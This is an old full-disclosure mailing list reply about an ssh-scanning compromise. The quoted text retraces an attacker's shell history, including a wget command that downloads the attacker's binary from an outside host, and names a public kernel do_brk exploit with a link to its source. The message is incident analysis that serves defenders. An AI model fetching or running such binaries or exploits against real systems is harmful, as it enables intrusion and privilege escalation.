full-disclosure - Automated ssh scanning

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Message-ID: <Pine.GSO.4.43.0408261853300.13513-100000@parka.winternet.com>
From: dufresne at winternet.com (Ron DuFresne)
Subject: Automated ssh scanning

Howdy Gary,

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> Yo All!
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> On Thu, 26 Aug 2004, Deigo Dude wrote:
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> > Maybe running this test again, and this time ...
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> No need to run the test again.
>
> - From the .history I duplicated this:
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>  wget www.bo2k-rulez.net/a
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> Then did this to see the strings in the binary:
>
>  strings a | less
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> This string looked ineresting:
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>  Kernel seems not to be vulnerable
>
> A google on that string yields the exloit:
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>  http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php
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> A simple exploit for the well known do_brk bug in the Linux kernel...
>

Cool, I was incrrect in assuning this was a fully patched system and the
compromise likely being an application sploit it appears.


Thanks,

Ron DuFresne
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